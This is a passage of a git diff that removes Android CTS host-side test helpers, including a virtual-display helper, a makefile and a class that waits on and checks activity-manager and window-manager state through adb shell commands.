- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.server.displayservice;
-
-import static junit.framework.Assert.assertTrue;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-public class DisplayHelper {
- private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
- private static final String VIRTUAL_DISPLAY_SERVICE =
- "android.server.displayservice/.VirtualDisplayService";
- private static final Pattern mDisplayDevicePattern = Pattern.compile(
- ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
-
- private boolean mCreated;
- private final ITestDevice mDevice;
-
- public DisplayHelper(ITestDevice device) {
- mDevice = device;
- }
-
- public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
- throws DeviceNotAvailableException {
- StringBuilder command =
- new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
- command.append(" --es command create");
- if (external) {
- command.append(" --ez external_display true");
- }
- if (requestShowWhenLocked) {
- command.append(" --ez show_content_when_locked true");
- }
- mDevice.executeShellCommand(command.toString());
-
- waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
- mCreated = true;
- }
-
- public void turnDisplayOff() throws DeviceNotAvailableException {
- mDevice.executeShellCommand(
- "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
- waitForDisplayState(mDevice, false /* default */, true /* exists */, false /* on */);
- }
-
- public void turnDisplayOn() throws DeviceNotAvailableException {
- mDevice.executeShellCommand(
- "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
- waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
- }
-
- public void releaseDisplay() throws DeviceNotAvailableException {
- if (mCreated) {
- mDevice.executeShellCommand(
- "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
- waitForDisplayState(mDevice, false /* default */, false /* exists */, true /* on */);
- }
- mCreated = false;
- }
-
- public static void waitForDefaultDisplayState(ITestDevice device, boolean wantOn)
- throws DeviceNotAvailableException {
- waitForDisplayState(device, true /* default */, true /* exists */, wantOn);
- }
-
- public static boolean getDefaultDisplayState(ITestDevice device)
- throws DeviceNotAvailableException {
- return getDisplayState(device, true);
- }
-
- private static void waitForDisplayState(
- ITestDevice device, boolean defaultDisplay, boolean wantExists, boolean wantOn)
- throws DeviceNotAvailableException {
- int tries = 0;
- boolean done = false;
- do {
- if (tries > 0) {
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- // Oh well
- }
- }
-
- Boolean state = getDisplayState(device, defaultDisplay);
- done = (!wantExists && state == null)
- || (wantExists && state != null && state == wantOn);
-
- tries++;
- } while (tries < 10 && !done);
-
- assertTrue(done);
- }
-
- private static Boolean getDisplayState(ITestDevice device, boolean defaultDisplay)
- throws DeviceNotAvailableException {
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- device.executeShellCommand("dumpsys display", outputReceiver);
- String dump = outputReceiver.getOutput();
-
- boolean displayExists = false;
- boolean displayOn = false;
- for (String line : dump.split("\\n")) {
- Matcher matcher = mDisplayDevicePattern.matcher(line);
- if (matcher.matches()) {
- if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
- || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
- return "ON".equals(matcher.group(2));
- }
- }
- }
- return null;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/Android.mk b/hostsidetests/services/activityandwindowmanager/util/Android.mk
deleted file mode 100644
index 993ba94..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_MODULE := cts-amwm-util
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
deleted file mode 100644
index a54ed19..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ /dev/null
@@ -1,844 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.RESIZE_MODE_RESIZEABLE;
-import static android.server.cts.ActivityManagerTestBase.DOCKED_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.componentName;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import android.server.cts.WindowManagerState.Display;
-import android.server.cts.WindowManagerState.WindowStack;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.WindowTask;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import junit.framework.Assert;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Objects;
-import java.util.function.BiPredicate;
-import java.util.function.BooleanSupplier;
-import java.util.function.Predicate;
-
-/** Combined state of the activity manager and window manager. */
-public class ActivityAndWindowManagersState extends Assert {
-
- // Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
- // (Needed in host-side tests to convert dp to px.)
- private static final int DISPLAY_DENSITY_DEFAULT = 160;
- public static final int DEFAULT_DISPLAY_ID = 0;
-
- // Default minimal size of resizable task, used if none is set explicitly.
- // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
- private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
-
- // Default minimal size of a resizable PiP task, used if none is set explicitly.
- // Must be kept in sync with 'default_minimal_size_pip_resizable_task' dimen from
- // frameworks/base.
- private static final int DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP = 108;
-
- private ActivityManagerState mAmState = new ActivityManagerState();
- private WindowManagerState mWmState = new WindowManagerState();
-
- private final List<WindowManagerState.WindowState> mTempWindowList = new ArrayList<>();
-
- private boolean mUseActivityNames = true;
-
- /**
- * Compute AM and WM state of device, check sanity and bounds.
- * WM state will include only visible windows, stack and task bounds will be compared.
- *
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
- */
- public void computeState(ITestDevice device, String[] waitForActivitiesVisible)
- throws Exception {
- computeState(device, waitForActivitiesVisible, true);
- }
-
- /**
- * Compute AM and WM state of device, check sanity and bounds.
- *
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
- * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
- * 'false' otherwise.
- */
- void computeState(ITestDevice device, String[] waitForActivitiesVisible,
- boolean compareTaskAndStackBounds) throws Exception {
- waitForValidState(device, waitForActivitiesVisible, null /* stackIds */,
- compareTaskAndStackBounds);
-
- assertSanity();
- assertValidBounds(compareTaskAndStackBounds);
- }
-
- /**
- * By default computeState allows you to pass only the activity name it and
- * it will generate the full window name for the main activity window. In the
- * case of secondary application windows though this isn't helpful, as they
- * may follow a different format, so this method lets you disable that behavior,
- * prior to calling a computeState variant
- */
- void setUseActivityNamesForWindowNames(boolean useActivityNames) {
- mUseActivityNames = useActivityNames;
- }
-
- /**
- * Compute AM and WM state of device, wait for the activity records to be added, and
- * wait for debugger window to show up.
- *
- * This should only be used when starting with -D (debugger) option, where we pop up the
- * waiting-for-debugger window, but real activity window won't show up since we're waiting
- * for debugger.
- */
- void waitForDebuggerWindowVisible(
- ITestDevice device, String[] waitForActivityRecords) throws Exception {
- int retriesLeft = 5;
- do {
- mAmState.computeState(device);
- mWmState.computeState(device);
- if (shouldWaitForDebuggerWindow() ||
- shouldWaitForActivityRecords(waitForActivityRecords)) {
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
- }
-
- /**
- * Wait for the activity to appear and for valid state in AM and WM.
- *
- * @param device test device.
- * @param waitForActivityVisible name of activity to wait for.
- */
- void waitForValidState(ITestDevice device, String waitForActivityVisible)
- throws Exception {
- waitForValidState(device, new String[]{waitForActivityVisible}, null /* stackIds */,
- false /* compareTaskAndStackBounds */);
- }
-
- /**
- * Wait for the activity to appear in proper stack and for valid state in AM and WM.
- *
- * @param device test device.
- * @param waitForActivityVisible name of activity to wait for.
- * @param stackId id of the stack where provided activity should be found.
- */
- void waitForValidState(ITestDevice device, String waitForActivityVisible, int stackId)
- throws Exception {
- waitForValidState(device, new String[]{waitForActivityVisible}, new int[]{stackId},
- false /* compareTaskAndStackBounds */);
- }
-
- /**
- * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
- *
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
- * @param stackIds ids of stack where provided activities should be found.
- * Pass null to skip this check.
- * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
- * for equality.
- */
- void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
- boolean compareTaskAndStackBounds) throws Exception {
- waitForValidState(device, waitForActivitiesVisible, stackIds, compareTaskAndStackBounds,
- componentName);
- }
-
- /**
- * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
- *
- * @param device test device.
- * @param waitForActivitiesVisible array of activity names to wait for.
- * @param stackIds ids of stack where provided activities should be found.
- * Pass null to skip this check.
- * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
- * for equality.
- * @param packageName name of the package of activities that we're waiting for.
- */
- void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
- boolean compareTaskAndStackBounds, String packageName) throws Exception {
- int retriesLeft = 5;
- do {
- // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
- // requesting dump in some intermediate state.
- mAmState.computeState(device);
- mWmState.computeState(device);
- if (shouldWaitForValidStacks(compareTaskAndStackBounds)
- || shouldWaitForActivities(waitForActivitiesVisible, stackIds, packageName)
- || shouldWaitForWindows()) {
- log("***Waiting for valid stacks and activities states...");
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
- }
-
- void waitForAllStoppedActivities(ITestDevice device) throws Exception {
- int retriesLeft = 5;
- do {
- mAmState.computeState(device);
- if (mAmState.containsStartedActivities()){
- log("***Waiting for valid stacks and activities states...");
- try {
- Thread.sleep(1500);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertFalse(mAmState.containsStartedActivities());
- }
-
- void waitForHomeActivityVisible(ITestDevice device) throws Exception {
- waitForValidState(device, mAmState.getHomeActivityName());
- }
-
- /** @return true if recents activity is visible. Devices without recents will return false */
- boolean waitForRecentsActivityVisible(ITestDevice device) throws Exception {
- waitForWithAmState(device, ActivityManagerState::isRecentsActivityVisible,
- "***Waiting for recents activity to be visible...");
- return mAmState.isRecentsActivityVisible();
- }
-
- void waitForKeyguardShowingAndNotOccluded(ITestDevice device) throws Exception {
- waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
- && !state.getKeyguardControllerState().keyguardOccluded,
- "***Waiting for Keyguard showing...");
- }
-
- void waitForKeyguardShowingAndOccluded(ITestDevice device) throws Exception {
- waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
- && state.getKeyguardControllerState().keyguardOccluded,
- "***Waiting for Keyguard showing and occluded...");
- }
-
- void waitForKeyguardGone(ITestDevice device) throws Exception {
- waitForWithAmState(device, state -> !state.getKeyguardControllerState().keyguardShowing,
- "***Waiting for Keyguard gone...");
- }
-
- void waitForRotation(ITestDevice device, int rotation) throws Exception {
- waitForWithWmState(device, state -> state.getRotation() == rotation,
- "***Waiting for Rotation: " + rotation);
- }
-
- void waitForDisplayUnfrozen(ITestDevice device) throws Exception {
- waitForWithWmState(device, state -> !state.isDisplayFrozen(),
- "***Waiting for Display unfrozen");
- }
-
- void waitForActivityState(ITestDevice device, String activityName, String... activityStates)
- throws Exception {
- waitForWithAmState(device, state -> {
- for (String activityState : activityStates) {
- if (state.hasActivityState(activityName, activityState)) {
- return true;
- }
- }
- return false;
- },
- "***Waiting for Activity State: " + activityStates);
- }
-
- void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
- waitForWithAmState(device, state -> state.getFocusedStackId() == stackId,
- "***Waiting for focused stack...");
- }
-
- void waitForAppTransitionIdle(ITestDevice device) throws Exception {
- waitForWithWmState(device,
- state -> WindowManagerState.APP_STATE_IDLE.equals(state.getAppTransitionState()),
- "***Waiting for app transition idle...");
- }
-
- void waitForWithAmState(ITestDevice device, Predicate<ActivityManagerState> waitCondition,
- String message) throws Exception{
- waitFor(device, (amState, wmState) -> waitCondition.test(amState), message);
- }
-
- void waitForWithWmState(ITestDevice device, Predicate<WindowManagerState> waitCondition,
- String message) throws Exception{
- waitFor(device, (amState, wmState) -> waitCondition.test(wmState), message);
- }
-
- void waitFor(ITestDevice device,
- BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
- throws Exception {
- waitFor(message, () -> {
- try {
- mAmState.computeState(device);
- mWmState.computeState(device);
- } catch (Exception e) {
- logE(e.toString());
- return false;
- }
- return waitCondition.test(mAmState, mWmState);
- });
- }
-
- void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
- int retriesLeft = 5;
- do {
- if (!waitCondition.getAsBoolean()) {
- log(message);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
- }
-
- /** @return true if should wait for valid stacks state. */
- private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
- if (!taskListsInAmAndWmAreEqual()) {
- // We want to wait for equal task lists in AM and WM in case we caught them in the
- // middle of some state change operations.
- log("***taskListsInAmAndWmAreEqual=false");
- return true;
- }
- if (!stackBoundsInAMAndWMAreEqual()) {
- // We want to wait a little for the stacks in AM and WM to have equal bounds as there
- // might be a transition animation ongoing when we got the states from WM AM separately.
- log("***stackBoundsInAMAndWMAreEqual=false");
- return true;
- }
- try {
- // Temporary fix to avoid catching intermediate state with different task bounds in AM
- // and WM.
- assertValidBounds(compareTaskAndStackBounds);
- } catch (AssertionError e) {
- log("***taskBoundsInAMAndWMAreEqual=false : " + e.getMessage());
- return true;
- }
- final int stackCount = mAmState.getStackCount();
- if (stackCount == 0) {
- log("***stackCount=" + stackCount);
- return true;
- }
- final int resumedActivitiesCount = mAmState.getResumedActivitiesCount();
- if (!mAmState.getKeyguardControllerState().keyguardShowing && resumedActivitiesCount != 1) {
- log("***resumedActivitiesCount=" + resumedActivitiesCount);
- return true;
- }
- if (mAmState.getFocusedActivity() == null) {
- log("***focusedActivity=null");
- return true;
- }
- return false;
- }
-
- /** @return true if should wait for some activities to become visible. */
- private boolean shouldWaitForActivities(String[] waitForActivitiesVisible, int[] stackIds,
- String packageName) {
- if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
- return false;
- }
- // If the caller is interested in us waiting for some particular activity windows to be
- // visible before compute the state. Check for the visibility of those activity windows
- // and for placing them in correct stacks (if requested).
- boolean allActivityWindowsVisible = true;
- boolean tasksInCorrectStacks = true;
- List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
- for (int i = 0; i < waitForActivitiesVisible.length; i++) {
- // Check if window is visible - it should be represented as one of the window states.
- final String windowName = mUseActivityNames ?
- ActivityManagerTestBase.getWindowName(packageName, waitForActivitiesVisible[i])
- : waitForActivitiesVisible[i];
- final String activityComponentName =
- ActivityManagerTestBase.getActivityComponentName(packageName,
- waitForActivitiesVisible[i]);
-
- mWmState.getMatchingVisibleWindowState(windowName, matchingWindowStates);
- boolean activityWindowVisible = !matchingWindowStates.isEmpty();
- if (!activityWindowVisible) {
- log("Activity window not visible: " + windowName);
- allActivityWindowsVisible = false;
- } else if (!mAmState.isActivityVisible(activityComponentName)) {
- log("Activity not visible: " + activityComponentName);
- allActivityWindowsVisible = false;
- } else if (stackIds != null) {
- // Check if window is already in stack requested by test.
- boolean windowInCorrectStack = false;
- for (WindowManagerState.WindowState ws : matchingWindowStates) {
- if (ws.getStackId() == stackIds[i]) {
- windowInCorrectStack = true;
- break;
- }
- }
- if (!windowInCorrectStack) {
- log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
- tasksInCorrectStacks = false;
- }
- }
- }
- return !allActivityWindowsVisible || !tasksInCorrectStacks;
- }
-
- /** @return true if should wait valid windows state. */
- private boolean shouldWaitForWindows() {
- if (mWmState.getFrontWindow() == null) {
- log("***frontWindow=null");
- return true;
- }
- if (mWmState.getFocusedWindow() == null) {
- log("***focusedWindow=null");
- return true;
- }
- if (mWmState.getFocusedApp() == null) {
- log("***focusedApp=null");
- return true;
- }
-
- return false;
- }
-
- private boolean shouldWaitForDebuggerWindow() {
- List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
- mWmState.getMatchingVisibleWindowState("android.server.cts", matchingWindowStates);
- for (WindowState ws : matchingWindowStates) {
- if (ws.isDebuggerWindow()) {
- return false;
- }
- }
- log("Debugger window not available yet");
- return true;
- }
-
- private boolean shouldWaitForActivityRecords(String[] waitForActivityRecords) {
- if (waitForActivityRecords == null || waitForActivityRecords.length == 0) {
- return false;
- }
- // Check if the activity records we're looking for is already added.
- for (int i = 0; i < waitForActivityRecords.length; i++) {
- if (!mAmState.isActivityVisible(waitForActivityRecords[i])) {
- log("ActivityRecord " + waitForActivityRecords[i] + " not visible yet");
- return true;
- }
- }
- return false;
- }
-
- ActivityManagerState getAmState() {
- return mAmState;
- }
-
- public WindowManagerState getWmState() {
- return mWmState;
- }
-
- void assertSanity() throws Exception {
- assertTrue("Must have stacks", mAmState.getStackCount() > 0);
- if (!mAmState.getKeyguardControllerState().keyguardShowing) {
- assertEquals("There should be one and only one resumed activity in the system.",
- 1, mAmState.getResumedActivitiesCount());
- }
- assertNotNull("Must have focus activity.", mAmState.getFocusedActivity());
-
- for (ActivityStack aStack : mAmState.getStacks()) {
- final int stackId = aStack.mStackId;
- for (ActivityTask aTask : aStack.getTasks()) {
- assertEquals("Stack can only contain its own tasks", stackId, aTask.mStackId);
- }
- }
-
- assertNotNull("Must have front window.", mWmState.getFrontWindow());
- assertNotNull("Must have focused window.", mWmState.getFocusedWindow());
- assertNotNull("Must have app.", mWmState.getFocusedApp());
- }
-
- void assertContainsStack(String msg, int stackId) throws Exception {
- assertTrue(msg, mAmState.containsStack(stackId));
- assertTrue(msg, mWmState.containsStack(stackId));
- }
-
- void assertDoesNotContainStack(String msg, int stackId) throws Exception {
- assertFalse(msg, mAmState.containsStack(stackId));
- assertFalse(msg, mWmState.containsStack(stackId));
- }
-
- void assertFrontStack(String msg, int stackId) throws Exception {
- assertEquals(msg, stackId, mAmState.getFrontStackId(DEFAULT_DISPLAY_ID));
- assertEquals(msg, stackId, mWmState.getFrontStackId(DEFAULT_DISPLAY_ID));
- }
-
- void assertFocusedStack(String msg, int stackId) throws Exception {
- assertEquals(msg, stackId, mAmState.getFocusedStackId());
- }
-
- void assertNotFocusedStack(String msg, int stackId) throws Exception {
- if (stackId == mAmState.getFocusedStackId()) {
- failNotEquals(msg, stackId, mAmState.getFocusedStackId());
- }
- }
-
- void assertFocusedActivity(String msg, String activityName) throws Exception {
- assertFocusedActivity(msg, componentName, activityName);
- }
-
- void assertFocusedActivity(String msg, String packageName, String activityName)
- throws Exception {
- final String componentName = ActivityManagerTestBase.getActivityComponentName(packageName,
- activityName);
- assertEquals(msg, componentName, mAmState.getFocusedActivity());
- assertEquals(msg, componentName, mWmState.getFocusedApp());
- }
-
- void assertNotFocusedActivity(String msg, String activityName) throws Exception {
- final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
- if (mAmState.getFocusedActivity().equals(componentName)) {
- failNotEquals(msg, mAmState.getFocusedActivity(), componentName);
- }
- if (mWmState.getFocusedApp().equals(componentName)) {
- failNotEquals(msg, mWmState.getFocusedApp(), componentName);
- }
- }
-
- void assertResumedActivity(String msg, String activityName) throws Exception {
- final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
- assertEquals(msg, componentName, mAmState.getResumedActivity());
- }
-
- void assertNotResumedActivity(String msg, String activityName) throws Exception {
- final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
- if (mAmState.getResumedActivity().equals(componentName)) {
- failNotEquals(msg, mAmState.getResumedActivity(), componentName);
- }
- }
-
- void assertFocusedWindow(String msg, String windowName) {
- assertEquals(msg, windowName, mWmState.getFocusedWindow());
- }
-
- void assertNotFocusedWindow(String msg, String windowName) {
- if (mWmState.getFocusedWindow().equals(windowName)) {
- failNotEquals(msg, mWmState.getFocusedWindow(), windowName);
- }
- }
-
- void assertFrontWindow(String msg, String windowName) {
- assertEquals(msg, windowName, mWmState.getFrontWindow());
- }
-
- void assertVisibility(String activityName, boolean visible) {
- final String activityComponentName =
- ActivityManagerTestBase.getActivityComponentName(activityName);
- final String windowName =
- ActivityManagerTestBase.getWindowName(activityName);
- assertVisibility(activityComponentName, windowName, visible);
- }
-
- private void assertVisibility(String activityComponentName, String windowName,
- boolean visible) {
- final boolean activityVisible = mAmState.isActivityVisible(activityComponentName);
- final boolean windowVisible = mWmState.isWindowVisible(windowName);
-
- if (visible) {
- assertTrue("Activity=" + activityComponentName + " must be visible.", activityVisible);
- assertTrue("Window=" + windowName + " must be visible.", windowVisible);
- } else {
- assertFalse("Activity=" + activityComponentName + " must NOT be visible.",
- activityVisible);
- assertFalse("Window=" + windowName + " must NOT be visible.", windowVisible);
- }
- }
-
- void assertHomeActivityVisible(boolean visible) {
- String name = mAmState.getHomeActivityName();
- assertNotNull(name);
- assertVisibility(name, getWindowNameForActivityName(name), visible);
- }
-
- /**
- * Asserts that the device default display minimim width is larger than the minimum task width.
- */
- void assertDeviceDefaultDisplaySize(ITestDevice device, String errorMessage) throws Exception {
- computeState(device, null);
- final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY_ID);
- final Display display = getWmState().getDisplay(DEFAULT_DISPLAY_ID);
- final Rectangle displayRect = display.getDisplayRect();
- if (Math.min(displayRect.width, displayRect.height) < minTaskSizePx) {
- fail(errorMessage);
- }
- }
-
- private String getWindowNameForActivityName(String activityName) {
- return activityName.replaceAll("(.*)\\/\\.", "$1/$1.");
- }
-
- boolean taskListsInAmAndWmAreEqual() {
- for (ActivityStack aStack : mAmState.getStacks()) {
- final int stackId = aStack.mStackId;
- final WindowStack wStack = mWmState.getStack(stackId);
- if (wStack == null) {
- log("Waiting for stack setup in WM, stackId=" + stackId);
- return false;
- }
-
- for (ActivityTask aTask : aStack.getTasks()) {
- if (wStack.getTask(aTask.mTaskId) == null) {
- log("Task is in AM but not in WM, waiting for it to settle, taskId="
- + aTask.mTaskId);
- return false;
- }
- }
-
- for (WindowTask wTask : wStack.mTasks) {
- if (aStack.getTask(wTask.mTaskId) == null) {
- log("Task is in WM but not in AM, waiting for it to settle, taskId="
- + wTask.mTaskId);
- return false;
- }
- }
- }
- return true;
- }
-
- int getStackPosition(int stackId) {
- int wmStackIndex = mWmState.getStackPosition(stackId);
- int amStackIndex = mAmState.getStackPosition(stackId);
- assertEquals("Window and activity manager must have the same stack position index",
- amStackIndex, wmStackIndex);
- return wmStackIndex;
- }
-
- boolean stackBoundsInAMAndWMAreEqual() {
- for (ActivityStack aStack : mAmState.getStacks()) {
- final int stackId = aStack.mStackId;
- final WindowStack wStack = mWmState.getStack(stackId);
- if (aStack.isFullscreen() != wStack.isFullscreen()) {
- log("Waiting for correct fullscreen state, stackId=" + stackId);
- return false;
- }
-
- final Rectangle aStackBounds = aStack.getBounds();
- final Rectangle wStackBounds = wStack.getBounds();
-
- if (aStack.isFullscreen()) {
- if (aStackBounds != null) {
- log("Waiting for correct stack state in AM, stackId=" + stackId);
- return false;
- }
- } else if (!Objects.equals(aStackBounds, wStackBounds)) {
- // If stack is not fullscreen - comparing bounds. Not doing it always because
- // for fullscreen stack bounds in WM can be either null or equal to display size.
- log("Waiting for stack bound equality in AM and WM, stackId=" + stackId);
- return false;
- }
- }
-
- return true;
- }
-
- /** Check task bounds when docked to top/left. */
- void assertDockedTaskBounds(int taskWidth, int taskHeight, String activityName) {
- // Task size can be affected by default minimal size.
- int defaultMinimalTaskSize = defaultMinimalTaskSize(
- mAmState.getStackById(ActivityManagerTestBase.DOCKED_STACK_ID).mDisplayId);
- int targetWidth = Math.max(taskWidth, defaultMinimalTaskSize);
- int targetHeight = Math.max(taskHeight, defaultMinimalTaskSize);
-
- assertEquals(new Rectangle(0, 0, targetWidth, targetHeight),
- mAmState.getTaskByActivityName(activityName).getBounds());
- }
-
- void assertValidBounds(boolean compareTaskAndStackBounds) {
- // Cycle through the stacks and tasks to figure out if the home stack is resizable
- final ActivityTask homeTask = mAmState.getHomeTask();
- final boolean homeStackIsResizable = homeTask != null
- && homeTask.getResizeMode().equals(RESIZE_MODE_RESIZEABLE);
-
- for (ActivityStack aStack : mAmState.getStacks()) {
- final int stackId = aStack.mStackId;
- final WindowStack wStack = mWmState.getStack(stackId);
- assertNotNull("stackId=" + stackId + " in AM but not in WM?", wStack);
-
- assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
- aStack.isFullscreen(), wStack.isFullscreen());
-
- final Rectangle aStackBounds = aStack.getBounds();
- final Rectangle wStackBounds = wStack.getBounds();
-
- if (aStack.isFullscreen()) {
- assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
- } else {
- assertEquals("Stack bounds in AM and WM must be equal stackId=" + stackId,
- aStackBounds, wStackBounds);
- }
-
- for (ActivityTask aTask : aStack.getTasks()) {
- final int taskId = aTask.mTaskId;
- final WindowTask wTask = wStack.getTask(taskId);
- assertNotNull(
- "taskId=" + taskId + " in AM but not in WM? stackId=" + stackId, wTask);
-
- final boolean aTaskIsFullscreen = aTask.isFullscreen();
- final boolean wTaskIsFullscreen = wTask.isFullscreen();
- assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
- + ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
-
- final Rectangle aTaskBounds = aTask.getBounds();
- final Rectangle wTaskBounds = wTask.getBounds();
- final Rectangle displayRect = mWmState.getDisplay(aStack.mDisplayId)
- .getDisplayRect();
-
- if (aTaskIsFullscreen) {
- assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
- aTaskBounds);
- } else if (!homeStackIsResizable && mWmState.isDockedStackMinimized()
- && displayRect.getWidth() > displayRect.getHeight()) {
- // When minimized using non-resizable launcher in landscape mode, it will move
- // the task offscreen in the negative x direction unlike portrait that crops.
- // The x value in the task bounds will not match the stack bounds since the
- // only the task was moved.
- assertEquals("Task bounds in AM and WM must match width taskId=" + taskId
- + ", stackId" + stackId, aTaskBounds.getWidth(),
- wTaskBounds.getWidth());
- assertEquals("Task bounds in AM and WM must match height taskId=" + taskId
- + ", stackId" + stackId, aTaskBounds.getHeight(),
- wTaskBounds.getHeight());
- assertEquals("Task bounds must match stack bounds y taskId=" + taskId
- + ", stackId" + stackId, aTaskBounds.getY(),
- wTaskBounds.getY());
- assertEquals("Task and stack bounds must match width taskId=" + taskId
- + ", stackId" + stackId, aStackBounds.getWidth(),
- wTaskBounds.getWidth());
- assertEquals("Task and stack bounds must match height taskId=" + taskId
- + ", stackId" + stackId, aStackBounds.getHeight(),
- wTaskBounds.getHeight());
- assertEquals("Task and stack bounds must match y taskId=" + taskId
- + ", stackId" + stackId, aStackBounds.getY(),
- wTaskBounds.getY());
- } else {
- assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
- + ", stackId=" + stackId, aTaskBounds, wTaskBounds);
-
- if (compareTaskAndStackBounds && stackId != FREEFORM_WORKSPACE_STACK_ID) {
- int aTaskMinWidth = aTask.getMinWidth();
- int aTaskMinHeight = aTask.getMinHeight();
-
